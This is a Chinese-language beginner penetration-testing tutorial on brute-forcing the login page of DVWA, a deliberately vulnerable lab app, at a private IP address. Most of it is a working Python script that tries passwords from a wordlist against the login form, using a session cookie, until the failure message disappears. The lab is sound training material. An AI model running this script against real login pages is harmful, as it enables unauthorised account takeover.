渗透测试入门学习——编写python脚本实现对网站登录页面的暴力破解
进入靶场输入任意密码进行尝试
发现登陆失败的特征字：“Username and/or password incorrect”
推荐用谷歌浏览器，按F12继续查看请求地址、请求头参数等详细信息，着重关注是否需要Cookie
编写python脚本
import requests
# 填入请求地址
url = "http://192.168.160.131/DVWA/vulnerabilities/brute/"
# 填入请求头中的Cookie值
cookie = "security=low; PHPSESSID=gcgc5dhp7ikcedlhojofijia44"
username = "admin"
# success为未知，但可以尝试出登陆失败的信息
success = ""
failure = "Username and/or password incorrect"
count = 0
with open("./pswd.txt", 'r') as file:
while True:
# 按行读，避免用readlines()读取全部后导致占用太多内存
line = file.readline()
# 如果读到内容为空的行则结束
if not line:
break;
# 每行结尾自带换行符需要去掉
line = line.strip()
# 发送请求
count += 1
response = requests.get(url = url,
params = {"username":username, "password":line, "Login":"Login"},
headers = {"Cookie":cookie})
# 判断请求中有无特征字
if failure in response.text:
print("第"+ str(count) +"次尝试--失败：",line)
else :
print("第"+ str(count) +"次尝试--成功：",line)
break;准备字典
执行脚本
验证暴力破解的结果是否正确
